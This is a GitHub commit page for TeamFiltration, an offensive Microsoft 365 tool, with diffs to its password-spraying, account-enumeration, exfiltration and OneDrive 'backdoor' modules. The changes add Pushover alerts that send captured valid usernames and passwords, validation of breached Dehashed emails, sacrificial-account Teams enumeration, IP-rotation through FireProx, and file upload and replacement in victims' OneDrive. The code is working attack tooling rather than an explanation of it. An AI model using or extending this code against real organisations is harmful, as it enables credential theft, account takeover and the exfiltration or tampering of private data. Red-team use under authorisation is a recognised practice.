Skip to content

Commit

Permalink
Made outpath checks kill instance if no folder is defined
Browse files Browse the repository at this point in the history
Removed legacy items from the help menu, added --push and internal checks to make sure it triggers correctly. (issue #2)
Added crash handling to pushover trigger
Corrected some of the MANY grammar mistakes, fixed --exclude
Added email validation check to dehashed data (issue #1)
Added EXIT command to Backdoor Module (Really??)
Added IP leak disclaimer and confirmation warning to the exfiltration modules
Fixed credentials checks for --validate-teams when enumeration starts
  • Loading branch information
Melvin Langvik committed Aug 17, 2022
1 parent 5bac6a0 commit 397e2f4
Show file tree
Hide file tree
Showing 9 changed files with 2,690 additions and 148 deletions.
2,510 changes: 2,510 additions & 0 deletions TeamFiltration/OneDriveAPI/KoenZomers.OneDrive.Api.xml

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion TeamFiltration/TeamFiltration/Handlers/DatabaseHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,7 @@ public string TokenAvailable(SprayAttempt accObject, string resource = "")
public void WriteSprayAttempt(SprayAttempt inputData)
{

if (inputData.Valid)
if (inputData.Valid && _globalPropertiesHandler.Pushover)
_globalPropertiesHandler.PushAlert("VALID CREDENTIALS FOUND", $"Username: {inputData.Username}\n Password: {inputData.Password}\n Conditional access: {inputData.ConditionalAccess}\n Disqualified: {inputData.Disqualified}");

if (!string.IsNullOrEmpty(inputData.ResponseCode))
Expand Down
230 changes: 122 additions & 108 deletions TeamFiltration/TeamFiltration/Handlers/GlobalArgumentsHandler.cs
Original file line number Diff line number Diff line change
@@ -1,33 +1,34 @@
using Newtonsoft.Json;
using PushoverClient;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using TeamFiltration.Helpers;
using TeamFiltration.Models.TeamFiltration;

namespace TeamFiltration.Handlers
{

public class GlobalArgumentsHandler
{
public string OutPutPath { get; set; }

public Config TeamFiltrationConfig { get; set; }

public bool DebugMode { get; set; }
public bool UsCloud { get; set; }
public bool PushoverLocked { get; set; }
public int OwaLimit { get; set; }
public Pushover PushClient { get; set; }

public GlobalArgumentsHandler(string[] args)
{
OutPutPath = args.GetValue("--outpath");

using Newtonsoft.Json;
using PushoverClient;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using TeamFiltration.Helpers;
using TeamFiltration.Models.TeamFiltration;

namespace TeamFiltration.Handlers
{

public class GlobalArgumentsHandler
{
public string OutPutPath { get; set; }

public Config TeamFiltrationConfig { get; set; }

public bool DebugMode { get; set; }
public bool UsCloud { get; set; }
public bool PushoverLocked { get; set; }
public bool Pushover { get; set; }
public int OwaLimit { get; set; }
public Pushover PushClient { get; set; }

public GlobalArgumentsHandler(string[] args)
{
OutPutPath = args.GetValue("--outpath");

var teamFiltrationConfigPath = args.GetValue("--config");
if (string.IsNullOrEmpty(teamFiltrationConfigPath) && File.Exists("TeamFiltrationConfig.json"))
{
Expand All @@ -38,85 +39,98 @@ public GlobalArgumentsHandler(string[] args)
Console.WriteLine("[+] Could not find teamfiltration config, provide a config path using with --config");
return;
}

var configText = File.ReadAllText(teamFiltrationConfigPath);
TeamFiltrationConfig = JsonConvert.DeserializeObject<Config>(configText);


string OwaLimitString = args.GetValue("--owa-limit");


Int32.TryParse(OwaLimitString, out var LocalOwaLimit);
if (LocalOwaLimit > 0)
OwaLimit = LocalOwaLimit;
else
OwaLimit = 2000;



PushoverLocked = args.Contains("--push-locked");
UsCloud = args.Contains("--us-cloud");
DebugMode = args.Contains("--debug");

if (string.IsNullOrEmpty(OutPutPath))
{
Console.WriteLine("[+] Your are missing the mandatory --outpath argument, please define it!");

}
else
{
if (Path.HasExtension(OutPutPath))
{
Console.WriteLine("[+] The --outpath argument is a FOLDER path, not file. Correct it and try again!");
}

}


if (!string.IsNullOrEmpty(TeamFiltrationConfig?.PushoverUserKey) && !string.IsNullOrEmpty(TeamFiltrationConfig?.PushoverAppKey))
PushClient = new Pushover(TeamFiltrationConfig.PushoverAppKey);
}
public void PushAlert(string title, string message)
{
if (PushClient != null)
{
try
{
PushResponse response = PushClient.Push(
title,
message,
TeamFiltrationConfig.PushoverUserKey
);
}
catch (Exception)
{

}
}

}

public string GetBaseUrl(string region = "US")
{

return "https://login.microsoftonline.com";
}

public string GetFireProxURL(string region = "US")
{

if (UsCloud)
return TeamFiltrationConfig.MsolFireProxEndpointsUs.Where(x => x.ToLower().Contains(("." + region + "-").ToLower())).FirstOrDefault();

return TeamFiltrationConfig.MsolFireProxEndpoints.Where(x => x.ToLower().Contains(("." + region + "-").ToLower())).FirstOrDefault();
}
private string EnsurePathChar(string outPutPath)
{
foreach (var invalidChar in Path.GetInvalidPathChars())
{
outPutPath = outPutPath.Replace(invalidChar, Path.DirectorySeparatorChar);
}
return outPutPath;
}
}
}
string OwaLimitString = args.GetValue("--owa-limit");


Int32.TryParse(OwaLimitString, out var LocalOwaLimit);
if (LocalOwaLimit > 0)
OwaLimit = LocalOwaLimit;
else
OwaLimit = 2000;



PushoverLocked = args.Contains("--push-locked");
Pushover = args.Contains("--push");
UsCloud = args.Contains("--us-cloud");
DebugMode = args.Contains("--debug");

if (string.IsNullOrEmpty(OutPutPath))
{
Console.WriteLine("[+] Your are missing the mandatory --outpath argument, please define it!");
Environment.Exit(0);
}
else
{
if (Path.HasExtension(OutPutPath))
{
Console.WriteLine("[+] The --outpath argument is a FOLDER path, not file. Correct it and try again!");
Environment.Exit(0);
}

}

try
{
if (!string.IsNullOrEmpty(TeamFiltrationConfig?.PushoverUserKey) && !string.IsNullOrEmpty(TeamFiltrationConfig?.PushoverAppKey))
PushClient = new Pushover(TeamFiltrationConfig.PushoverAppKey);
}
catch (Exception ex)
{

Console.WriteLine($"[!] Failed to create Pushover client, bad API keys? -> {ex}");
}

}
public void PushAlert(string title, string message)
{
if (PushClient != null)
{
if (Pushover || PushoverLocked)
{
try
{
PushResponse response = PushClient.Push(
title,
message,
TeamFiltrationConfig.PushoverUserKey
);
}
catch (Exception ex)
{
Console.WriteLine($"[!] Pushover message failed, error: {ex}");
}
}
}

}

public string GetBaseUrl(string region = "US")
{

return "https://login.microsoftonline.com";
}

public string GetFireProxURL(string region = "US")
{

if (UsCloud)
return TeamFiltrationConfig.MsolFireProxEndpointsUs.Where(x => x.ToLower().Contains(("." + region + "-").ToLower())).FirstOrDefault();

return TeamFiltrationConfig.MsolFireProxEndpoints.Where(x => x.ToLower().Contains(("." + region + "-").ToLower())).FirstOrDefault();
}
private string EnsurePathChar(string outPutPath)
{
foreach (var invalidChar in Path.GetInvalidPathChars())
{
outPutPath = outPutPath.Replace(invalidChar, Path.DirectorySeparatorChar);
}
return outPutPath;
}
}
}
9 changes: 8 additions & 1 deletion TeamFiltration/TeamFiltration/Handlers/OneDriveHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -218,14 +218,20 @@ public async Task InteractiveMenu(string currentFolderId, Dictionary<int, OneDri

if (inputdata.ToUpper().Equals("HELP"))
{
Console.WriteLine("[*] <FOLDER-INDEX> - Move into directory at index\n[*] BACK - Moves up a directory level\n[*] SEARCH <KEYWORD> - Search for files in OneDrive \n[*] DOWNLOAD - Downloads the entire directory\n[*] UPLOAD <LOCAL-FILE-PATH> Upload a file to the OneDrive directory\n[*] DOWNLOAD <FILE-INDEX> - Download the file at spesificed index\n[*] REPLACE <FILE-INDEX>,<LOCAL-FILE-PATH> - Replace the file at spesificed index with file at local path\n");
Console.WriteLine("[*] <FOLDER-INDEX> - Move into directory at index\n[*] BACK - Moves up a directory level\n[*] SEARCH <KEYWORD> - Search for files in OneDrive \n[*] DOWNLOAD - Downloads the entire directory\n[*] UPLOAD <LOCAL-FILE-PATH> Upload a file to the OneDrive directory\n[*] DOWNLOAD <FILE-INDEX> - Download the file at spesificed index\n[*] REPLACE <FILE-INDEX>,<LOCAL-FILE-PATH> - Replace the file at spesificed index with file at local path\n[*] EXIT - Get me out of here!\n");
await DirectoryMove(currentFolderId);
}
if (inputdata.ToUpper().Equals("BACK"))
{
await DirectoryMove(currentFolderItem.ParentReference.Id);
}

if (inputdata.ToUpper().Equals("EXIT"))
{
Environment.Exit(0);
}

/* Nope
if (inputdata.ToUpper().Equals("DOWNLOAD"))
{
Console.WriteLine("[+] Downloading the entire folder..\n");
Expand All @@ -237,6 +243,7 @@ public async Task InteractiveMenu(string currentFolderId, Dictionary<int, OneDri
}
await DirectoryMove(currentFolderId);
}
*/

if (inputdata.ToUpper().StartsWith("DOWNLOAD "))
{
Expand Down
3 changes: 3 additions & 0 deletions TeamFiltration/TeamFiltration/Helpers/Generic.cs
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,9 @@ public static class Generic
//https://stackoverflow.com/questions/1365407/c-sharp-code-to-validate-email-address
public static bool IsValidEmail(string email)
{
if (string.IsNullOrEmpty(email))
return false;

var trimmedEmail = email.Trim();

if (trimmedEmail.EndsWith("."))
Expand Down
52 changes: 25 additions & 27 deletions TeamFiltration/TeamFiltration/Modules/Enumerate.cs
Original file line number Diff line number Diff line change
Expand Up @@ -261,7 +261,7 @@ public static async Task EnumerateAsync(string[] args)

var dehashedData = await dehashedHandler.FetchDomainEntries(args.GetValue("--domain"));

foreach (var email in dehashedData.entries.Select(x => x.email).Distinct())
foreach (var email in dehashedData.entries.Select(x => x.email).Distinct().Where(a => Helpers.Generic.IsValidEmail(a)))
{
_databaseHandle.WriteLog(new Log("ENUM", $"{email} valid!", ""));
_databaseHandle.WriteValidAcc(new ValidAccount() { Username = email, Id = Helpers.Generic.StringToGUID(email).ToString(), objectId = "" });
Expand Down Expand Up @@ -367,47 +367,45 @@ await userListData.ParallelForEachAsync(
}
else if (options.ValidateAccsTeams)
{
if(Helpers.Generic.IsValidEmail(_globalProperties.TeamFiltrationConfig.SacrificialO365Username) || string.IsNullOrEmpty(_globalProperties.TeamFiltrationConfig.SacrificialO365Passwords))
if (Helpers.Generic.IsValidEmail(_globalProperties?.TeamFiltrationConfig?.SacrificialO365Username) && !string.IsNullOrEmpty(_globalProperties?.TeamFiltrationConfig?.SacrificialO365Passwords))
{
var approcTime = (int)Math.Round(TimeSpan.FromSeconds(((double)userListData.Count() / 300)).TotalMinutes);


var approcTime = (int)Math.Round(TimeSpan.FromSeconds(((double)userListData.Count() / 300)).TotalMinutes);
_databaseHandle.WriteLog(new Log("ENUM", $"Enumerating { userListData.Count() } possible accounts, this will take ~{approcTime} minutes", ""));

_databaseHandle.WriteLog(new Log("ENUM", $"Enumerating { userListData.Count() } possible accounts, this will take ~{approcTime} minutes", ""));

var teamsToken = await msolHandler.LoginAttemptFireProx(_globalProperties.TeamFiltrationConfig.SacrificialO365Username, _globalProperties.TeamFiltrationConfig.SacrificialO365Passwords, _globalProperties.GetFireProxURL(), ("https://api.spaces.skype.com/", "1fec8e78-bce4-4aaf-ab1b-5451cc387264"));
var teamsToken = await msolHandler.LoginAttemptFireProx(_globalProperties.TeamFiltrationConfig.SacrificialO365Username, _globalProperties.TeamFiltrationConfig.SacrificialO365Passwords, _globalProperties.GetFireProxURL(), ("https://api.spaces.skype.com/", "1fec8e78-bce4-4aaf-ab1b-5451cc387264"));

if (teamsToken.bearerToken != null)
{
if (teamsToken.bearerToken != null)
{

_databaseHandle.WriteLog(new Log("ENUM", $"Successfully got Teams token for sacrificial account", ""));
_databaseHandle.WriteLog(new Log("ENUM", $"Successfully got Teams token for sacrificial account", ""));

TeamsHandler teamsHandler = new TeamsHandler(teamsToken.bearerToken, _globalProperties);
TeamsHandler teamsHandler = new TeamsHandler(teamsToken.bearerToken, _globalProperties);

//Pull out objectId's
var previusValidAccs = _databaseHandle.QueryValidAccount();
if (previusValidAccs.Count() > 0)
{
_teamsObjectIds = previusValidAccs?.Select(x => x?.objectId).ToList();
}
//Pull out objectId's
var previusValidAccs = _databaseHandle.QueryValidAccount();
if (previusValidAccs.Count() > 0)
{
_teamsObjectIds = previusValidAccs?.Select(x => x?.objectId).ToList();
}


//We need a skype token to get other stuff
await teamsHandler.SetSkypeToken();
//We need a skype token to get other stuff
await teamsHandler.SetSkypeToken();

_databaseHandle.WriteLog(new Log("ENUM", $"Loaded {userListData.Count()} usernames", ""));
await userListData.ParallelForEachAsync(
async user =>
{
_databaseHandle.WriteLog(new Log("ENUM", $"Loaded {userListData.Count()} usernames", ""));
await userListData.ParallelForEachAsync(
async user =>
{


await ValidUserWrapperTeams(teamsHandler, user);
await ValidUserWrapperTeams(teamsHandler, user);



},
maxDegreeOfParallelism: 300);
}
},
maxDegreeOfParallelism: 300);
}
}
else
{
Expand Down
13 changes: 11 additions & 2 deletions TeamFiltration/TeamFiltration/Modules/Exfiltrate.cs
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,15 @@ private static async Task PrepareExfil(SprayAttempt accObject, ExifilOptions exf
{
try
{
Console.WriteLine();
Console.WriteLine("[!] The exfiltration modules does not use FireProx, ORIGIN IP WILL BE LOGGED, are you an adult? (Y/N)");
var response = Console.ReadLine();

if (!response.ToUpper().Equals("Y"))
{
return;
}

//We check if our spray gave us a valid token, and that the token is valid
var latestPulledToken = _databaseHandler.TokenAvailable(accObject, "https://api.spaces.skype.com");

Expand Down Expand Up @@ -173,8 +182,8 @@ public static async Task ExfiltrateAsync(string[] args)
Console.WriteLine("[!] Failed to deserialize cookie dump file, does the format match SharpChrome's output?");
Environment.Exit(0);
}


}
else
{
Expand Down
Loading

0 comments on commit 397e2f4

Please sign in to comment.